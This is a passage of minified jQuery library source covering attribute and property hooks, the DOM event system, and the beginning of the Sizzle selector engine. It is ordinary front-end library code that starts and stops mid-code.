v(e)[n](r);if(typeof e.getAttribute=="undefined")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u&&(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o&&"set"in o&&u&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r)}return o&&"get"in o&&u&&(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t&&e.nodeType===1){r=t.split(y);for(;o<r.length;o++)i=r[o],i&&(n=v.propFix[i]||i,s=X.test(i),s||v.attr(e,i,""),e.removeAttribute(V?i:n),s&&n in e&&(e[n]=!1))}},attrHooks:{type:{set:function(e,t){if(U.test(e.nodeName)&&e.parentNode)v.error("type property can't be changed");else if(!v.support.radioValue&&t==="radio"&&v.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return j&&v.nodeName(e,"button")?j.get(e,t):t in e?e.value:null},set:function(e,t,n){if(j&&v.nodeName(e,"button"))return j.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i,s,o,u=e.nodeType;if(!e||u===3||u===8||u===2)return;return o=u!==1||!v.isXMLDoc(e),o&&(n=v.propFix[n]||n,s=v.propHooks[n]),r!==t?s&&"set"in s&&(i=s.set(e,r,n))!==t?i:e[n]=r:s&&"get"in s&&(i=s.get(e,n))!==null?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):z.test(e.nodeName)||W.test(e.nodeName)&&e.href?0:t}}}}),F={get:function(e,n){var r,i=v.prop(e,n);return i===!0||typeof i!="boolean"&&(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]||n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V||(I={name:!0,id:!0,coords:!0},j=v.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&&(I[n]?r.value!=="":r.specified)?r.value:t},set:function(e,t,n){var r=e.getAttributeNode(n);return r||(r=i.createAttribute(n),e.setAttributeNode(r)),r.value=t+""}},v.each(["width","height"],function(e,t){v.attrHooks[t]=v.extend(v.attrHooks[t],{set:function(e,n){if(n==="")return e.setAttribute(t,"auto"),n}})}),v.attrHooks.contenteditable={get:j.get,set:function(e,t,n){t===""&&(t="false"),j.set(e,t,n)}}),v.support.hrefNormalized||v.each(["href","src","width","height"],function(e,n){v.attrHooks[n]=v.extend(v.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),v.support.style||(v.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=t+""}}),v.support.optSelected||(v.propHooks.selected=v.extend(v.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),v.support.enctype||(v.propFix.enctype="encoding"),v.support.checkOn||v.each(["radio","checkbox"],function(){v.valHooks[this]={get:function(e){return e.getAttribute("value")===null?"on":e.value}}}),v.each(["radio","checkbox"],function(){v.valHooks[this]=v.extend(v.valHooks[this],{set:function(e,t){if(v.isArray(t))return e.checked=v.inArray(v(e).val(),t)>=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\.]*|)(?:\.(.+)|)$/,K=/(?:^|\s)hover(\.\S+|)\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,"mouseenter$1 mouseleave$1")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler&&(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v=="undefined"||!!e&&v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(" ");for(f=0;f<n.length;f++){l=J.exec(n[f])||[],c=l[1],h=(l[2]||"").split(".").sort(),g=v.event.special[c]||{},c=(s?g.delegateType:g.bindType)||c,g=v.event.special[c]||{},p=v.extend({type:c,origType:l[1],data:i,handler:r,guid:r.guid,selector:s,needsContext:s&&v.expr.match.needsContext.test(s),namespace:h.join(".")},d),m=a[c];if(!m){m=a[c]=[],m.delegateCount=0;if(!g.setup||g.setup.call(e,i,h,u)===!1)e.addEventListener?e.addEventListener(c,u,!1):e.attachEvent&&e.attachEvent("on"+c,u)}g.add&&(g.add.call(e,p),p.handler.guid||(p.handler.guid=r.guid)),s?m.splice(m.delegateCount++,0,p):m.push(p),v.event.global[c]=!0}e=null},global:{},remove:function(e,t,n,r,i){var s,o,u,a,f,l,c,h,p,d,m,g=v.hasData(e)&&v._data(e);if(!g||!(h=g.events))return;t=v.trim(Z(t||"")).split(" ");for(s=0;s<t.length;s++){o=J.exec(t[s])||[],u=a=o[1],f=o[2];if(!u){for(u in h)v.event.remove(e,u+t[s],n,r,!0);continue}p=v.event.special[u]||{},u=(r?p.delegateType:p.bindType)||u,d=h[u]||[],l=d.length,f=f?new RegExp("(^|\\.)"+f.split(".").sort().join("\\.(?:.*\\.|)")+"(\\.|$)"):null;for(c=0;c<d.length;c++)m=d[c],(i||a===m.origType)&&(!n||n.guid===m.guid)&&(!f||f.test(m.namespace))&&(!r||r===m.selector||r==="**"&&m.selector)&&(d.splice(c--,1),m.selector&&d.delegateCount--,p.remove&&p.remove.call(e,m));d.length===0&&l!==d.length&&((!p.teardown||p.teardown.call(e,f,g.handle)===!1)&&v.removeEvent(e,u,g.handle),delete h[u])}v.isEmptyObject(h)&&(delete g.handle,v.removeData(e,"events",!0))},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(n,r,s,o){if(!s||s.nodeType!==3&&s.nodeType!==8){var u,a,f,l,c,h,p,d,m,g,y=n.type||n,b=[];if(Y.test(y+v.event.triggered))return;y.indexOf("!")>=0&&(y=y.slice(0,-1),a=!0),y.indexOf(".")>=0&&(b=y.split("."),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])&&!v.event.global[y])return;n=typeof n=="object"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join("."),n.namespace_re=n.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,h=y.indexOf(":")<0?"on"+y:"";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]&&v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger&&p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o&&!p.noBubble&&!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)&&m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f<m.length&&!n.isPropagationStopped();f++)l=m[f][0],n.type=m[f][1],d=(v._data(l,"events")||{})[n.type]&&v._data(l,"handle"),d&&d.apply(l,r),d=h&&l[h],d&&v.acceptData(l)&&d.apply&&d.apply(l,r)===!1&&n.preventDefault();return n.type=y,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(s.ownerDocument,r)===!1)&&(y!=="click"||!v.nodeName(s,"a"))&&v.acceptData(s)&&h&&s[y]&&(y!=="focus"&&y!=="blur"||n.target.offsetWidth!==0)&&!v.isWindow(s)&&(c=s[h],c&&(s[h]=null),v.event.triggered=y,s[y](),v.event.triggered=t,c&&(s[h]=c)),n.result}return},dispatch:function(n){n=v.event.fix(n||e.event);var r,i,s,o,u,a,f,c,h,p,d=(v._data(this,"events")||{})[n.type]||[],m=d.delegateCount,g=l.call(arguments),y=!n.exclusive&&!n.namespace,b=v.event.special[n.type]||{},w=[];g[0]=n,n.delegateTarget=this;if(b.preDispatch&&b.preDispatch.call(this,n)===!1)return;if(m&&(!n.button||n.type!=="click"))for(s=n.target;s!=this;s=s.parentNode||this)if(s.disabled!==!0||n.type!=="click"){u={},f=[];for(r=0;r<m;r++)c=d[r],h=c.selector,u[h]===t&&(u[h]=c.needsContext?v(h,this).index(s)>=0:v.find(h,this,null,[s]).length),u[h]&&f.push(c);f.length&&w.push({elem:s,matches:f})}d.length>m&&w.push({elem:this,matches:d.slice(m)});for(r=0;r<w.length&&!n.isPropagationStopped();r++){a=w[r],n.currentTarget=a.elem;for(i=0;i<a.matches.length&&!n.isImmediatePropagationStopped();i++){c=a.matches[i];if(y||!n.namespace&&!c.namespace||n.namespace_re&&n.namespace_re.test(c.namespace))n.data=c.data,n.handleObj=c,o=((v.event.special[c.origType]||{}).handle||c.handler).apply(a.elem,g),o!==t&&(n.result=o,o===!1&&(n.preventDefault(),n.stopPropagation()))}}return b.postDispatch&&b.postDispatch.call(this,n),n.result},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return e.which==null&&(e.which=t.charCode!=null?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,s,o,u=n.button,a=n.fromElement;return e.pageX==null&&n.clientX!=null&&(r=e.target.ownerDocument||i,s=r.documentElement,o=r.body,e.pageX=n.clientX+(s&&s.scrollLeft||o&&o.scrollLeft||0)-(s&&s.clientLeft||o&&o.clientLeft||0),e.pageY=n.clientY+(s&&s.scrollTop||o&&o.scrollTop||0)-(s&&s.clientTop||o&&o.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?n.toElement:a),!e.which&&u!==t&&(e.which=u&1?1:u&2?3:u&4?2:0),e}},fix:function(e){if(e[v.expando])return e;var t,n,r=e,s=v.event.fixHooks[e.type]||{},o=s.props?this.props.concat(s.props):this.props;e=v.Event(r);for(t=o.length;t;)n=o[--t],e[n]=r[n];return e.target||(e.target=r.srcElement||i),e.target.nodeType===3&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,r):e},special:{load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(e,t,n){v.isWindow(this)&&(this.onbeforeunload=n)},teardown:function(e,t){this.onbeforeunload===t&&(this.onbeforeunload=null)}}},simulate:function(e,t,n,r){var i=v.extend(new v.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?v.event.trigger(i,null,t):v.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},v.event.handle=v.event.dispatch,v.removeEvent=i.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]=="undefined"&&(e[r]=null),e.detachEvent(r,n))},v.Event=function(e,t){if(!(this instanceof v.Event))return new v.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?tt:et):this.type=e,t&&v.extend(this,t),this.timeStamp=e&&e.timeStamp||v.now(),this[v.expando]=!0},v.Event.prototype={preventDefault:function(){this.isDefaultPrevented=tt;var e=this.originalEvent;if(!e)return;e.preventDefault?e.preventDefault():e.returnValue=!1},stopPropagation:function(){this.isPropagationStopped=tt;var e=this.originalEvent;if(!e)return;e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=tt,this.stopPropagation()},isDefaultPrevented:et,isPropagationStopped:et,isImmediatePropagationStopped:et},v.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){v.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,s=e.handleObj,o=s.selector;if(!i||i!==r&&!v.contains(r,i))e.type=s.origType,n=s.handler.apply(this,arguments),e.type=t;return n}}}),v.support.submitBubbles||(v.event.special.submit={setup:function(){if(v.nodeName(this,"form"))return!1;v.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=v.nodeName(n,"input")||v.nodeName(n,"button")?n.form:t;r&&!v._data(r,"_submit_attached")&&(v.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),v._data(r,"_submit_attached",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&v.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){if(v.nodeName(this,"form"))return!1;v.event.remove(this,"._submit")}}),v.support.changeBubbles||(v.event.special.change={setup:function(){if($.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")v.event.add(this,"propertychange._change",function(e){e.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),v.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),v.event.simulate("change",this,e,!0)});return!1}v.event.add(this,"beforeactivate._change",function(e){var t=e.target;$.test(t.nodeName)&&!v._data(t,"_change_attached")&&(v.event.add(t,"change._change",function(e){this.parentNode&&!e.isSimulated&&!e.isTrigger&&v.event.simulate("change",this.parentNode,e,!0)}),v._data(t,"_change_attached",!0))})},handle:function(e){var t=e.target;if(this!==t||e.isSimulated||e.isTrigger||t.type!=="radio"&&t.type!=="checkbox")return e.handleObj.handler.apply(this,arguments)},teardown:function(){return v.event.remove(this,"._change"),!$.test(this.nodeName)}}),v.support.focusinBubbles||v.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){v.event.simulate(t,e.target,v.event.fix(e),!0)};v.event.special[t]={setup:function(){n++===0&&i.addEventListener(e,r,!0)},teardown:function(){--n===0&&i.removeEventListener(e,r,!0)}}}),v.fn.extend({on:function(e,n,r,i,s){var o,u;if(typeof e=="object"){typeof n!="string"&&(r=r||n,n=t);for(u in e)this.on(u,n,r,e[u],s);return this}r==null&&i==null?(i=n,r=n=t):i==null&&(typeof n=="string"?(i=r,r=t):(i=r,r=n,n=t));if(i===!1)i=et;else if(!i)return this;return s===1&&(o=i,i=function(e){return v().off(e),o.apply(this,arguments)},i.guid=o.guid||(o.guid=v.guid++)),this.each(function(){v.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,s;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,v(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if(typeof e=="object"){for(s in e)this.off(s,n,e[s]);return this}if(n===!1||typeof n=="function")r=n,n=t;return r===!1&&(r=et),this.each(function(){v.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},live:function(e,t,n){return v(this.context).on(e,this.selector,t,n),this},die:function(e,t){return v(this.context).off(e,this.selector||"**",t),this},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return arguments.length===1?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){v.event.trigger(e,t,this)})},triggerHandler:function(e,t){if(this[0])return v.event.trigger(e,t,this[0],!0)},toggle:function(e){var t=arguments,n=e.guid||v.guid++,r=0,i=function(n){var i=(v._data(this,"lastToggle"+e.guid)||0)%r;return v._data(this,"lastToggle"+e.guid,i+1),n.preventDefault(),t[i].apply(this,arguments)||!1};i.guid=n;while(r<t.length)t[r++].guid=n;return this.click(i)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),v.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){v.fn[t]=function(e,n){return n==null&&(n=e,e=null),arguments.length>0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)&&(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)&&(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!="string")return n;if(l!==1&&l!==9)return[];a=o(t);if(!a&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])&&Z&&t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,"$1"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n==="input"&&t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n==="input"||n==="button")&&t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+" "];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r&&(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j," ");for(o in i.filter)(r=J[o].exec(u))&&(!f[o]||(r=f[o](r)))&&(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r&&t.dir==="parentNode",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+" "+o+" ",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a=="string"&&a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=t!=null;for(;u<a;u++)if(s=e[u])if(!n||n(s,r,i))o.push(s),f&&t.push(u);return o}function ct(e,t,n,r,i,s){return r&&!r[d]&&(r=ct(r)),i&&!i[d]&&(i=ct(i,s)),N(function(s,o,u,a){var f,l,c,h=[],p=[],d=o.length,v=s||dt(t||"*",u.nodeType?[u]:u,[]),m=e&&(s||!t)?lt(v,h,e,u,a):v,g=n?i||(s?e:d||r)?[]:o:m;n&&n(m,g,u,a);if(r){f=lt(g,p),r(f,[],u,a),l=f.length;while(l--)if(c=f[l])g[p[l]]=!(m[p[l]]=c)}if(s){if(i||e){if(i){f=[],l=g.length;while(l--)(c=g[l])&&f.push(m[l]=c);i(null,g=[],f,a)}l=g.length;while(l--)(c=g[l])&&(f=i?T.call(s,c):h[l])>-1&&(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[" "],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return T.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a<s;a++)if(n=i.relative[e[a].type])h=[at(ft(h),n)];else{n=i.filter[e[a].type].apply(null,e[a].matches);if(n[d]){r=++a;for(;r<s;r++)if(i.relative[e[r].type])break;return ct(a>1&&ft(h),a>1&&e.slice(0,a-1).join("").replace(j,"$1"),n,a<r&&ht(e.slice(a,r)),r<s&&ht(e=e.slice(r)),r<s&&e.join(""))}h.push(n)}return ft(h)}function pt(e,t){var r=t.length>0,s=e.length>0,o=function(u,a,f,l,h){var p,d,v,m=[],y=0,w="0",x=u&&[],T=h!=null,N=c,C=u||s&&i.find.TAG("*",h&&a.parentNode||a),k=b+=N==null?1:Math.E;T&&(c=a!==g&&a,n=o.el);for(;(p=C[w])!=null;w++){if(s&&p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T&&(b=k,n=++o.el)}r&&((p=!v&&p)&&y--,u&&x.push(p))}y+=w;if(r&&w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y>0)while(w--)!x[w]&&!m[w]&&(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T&&!u&&m.length>0&&y+t.length>1&&nt.uniqueSort(l)}return T&&(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r<i;r++)nt(e,t[r],n);return n}function vt(e,t,n,r,s){var o,u,f,l,c,h=ut(e),p=h.length;if(!r&&h.length===1){u=h[0]=h[0].slice(0);if(u.length>2&&(f=u[0]).type==="ID"&&t.nodeType===9&&!s&&i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,""),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o>=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,""),z.test(u[0].type)&&t.parentNode||t,s)){u.splice(o,1),e=r.length&&u.join("");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p="undefined",d=("sizcache"+Math.random()).replace(".",""),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;t<n;t++)if(this[t]===e)return t;return-1},N=function(e,t){return e[d]=t==null||t,e},C=function(){var e={},t=[];return N(function(n,r){return t.push(n)>i.cacheLength&&delete e[t.shift()],e[n+" "]=r},e)},k=C(),L=C(),A=C(),O="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",_=M.replace("w","w#"),D="([*^$|!~]?=)",P="\\["+O+"*("+M+")"+O+"*(?:"+D+O+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+_+")|)|)"+O+"*\\]",H=":("+M+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+P+")|[^:]|\\\\.)*|.*))\\)|)",B=":(even|odd|eq|gt|lt|nth|first|last)(?:\\("+O+"*((?:-\\d)?\\d*)"+O+"*\\)|)(?=[^-]|$)",j=new RegExp("^"+O+"+|((?:^|[^\\\\])(?:\\\\.)*)"+O+"+$","g"),F=new RegExp("^"+O+"*,"+O+"*"),I=new RegExp("^"+O+"*([\\x20\\t\\r\\n\\f>+~])"+O+"*"),q=new RegExp(H),R=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,U=/^:not/,z=/[\x20\t\r\n\f]*[+~]/,W=/:not\($/,X=/h\d/i,V=/input|select|textarea|button/i,$=/\\(?!\\)/g,J={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),NAME:new RegExp("^\\[name=['\"]?("+M+")['\"]?\\]"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+H),POS:new RegExp(B,"i"),CHILD:new RegExp("^:(only|nth|first|last)-child(?:\\("+O+"*(even|odd|(([+-]|)(\\d*)n|)"+O+"*(?:([+-]|)"+O+"*(\\d+)|))"+O+"*\\)|)","i"),needsContext:new RegExp("^"+O+"*[>+~]|"+B,"i")},K=function(e){var t=g.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment("")),!e.getElementsByTagName("*").length}),G=K(function(e){return e.innerHTML="<a href='#'></a>",e.firstChild&&typeof e.firstChild.getAttribute!==p&&e.firstChild.getAttribute("href")==="#"}),Y=K(function(e){e.innerHTML="<select></select>";var t=typeof e.lastChild.getAttribute("multiple");return t!=="boolean"&&t!=="string"}),Z=K(function(e){return e.innerHTML="<div class='hidden e'></div><div class='hidden'></div>",!e.getElementsByClassName||!e.getElementsByClassName("e").length?!1:(e.lastChild.className="e",e.getElementsByClassName("e").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML="<a name='"+d+"'></a><div name='"+d+"'></div>",y.insertBefore(e,y.firstChild);var t=g.getElementsByName&&g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length>0},s=nt.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent=="string")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?t.nodeName!=="HTML":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t&&t.parentNode;return e===r||!!(r&&r.nodeType===1&&n.contains&&n.contains(r))}:y.compareDocumentPosition?function(e,t){return t&&!!(e.compareDocumentPosition(t)&16)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]=="boolean"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p&&!n){var r=t.getElementById(e);return r&&r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p&&!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p&&i.getAttributeNode("id").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e==="*"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1&&i.push(r);return i}return n},NAME:et&&function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z&&function(e,t,n){if(typeof t.getElementsByClassName!==p&&!n)return t.getElementsByClassName(e)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,""),e[3]=(e[4]||e[5]||"").replace($,""),e[2]==="~="&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]==="nth"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]==="even"||e[2]==="odd")),e[4]=+(e[6]+e[7]||e[2]==="odd")):e[2]&&nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)&&(n=ut(t,!0))&&(n=t.indexOf(")",t.length-n)-t.length)&&(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,""),function(t){return t.getAttribute("id")===e}}:function(e){return e=e.replace($,""),function(t){var n=typeof t.getAttributeNode!==p&&t.getAttributeNode("id");return n&&n.value===e}},TAG:function(e){return e==="*"?function(){return!0}:(e=e.replace($,"").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+" "];return t||(t=new RegExp("(^|"+O+")"+e+"("+O+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t==="!=":t?(s+="",t==="="?s===n:t==="!="?s!==n:t==="^="?n&&s.indexOf(n)===0:t==="*="?n&&s.indexOf(n)>-1:t==="$="?n&&s.substr(s.length-n.length)===n:t==="~="?(" "+s+" ").indexOf(n)>-1:t==="|="?s===n||s.substr(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r){return e==="nth"?function(e){var t,i,s=e.parentNode;if(n===1&&r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0&&i/n>=0}:function(t){var 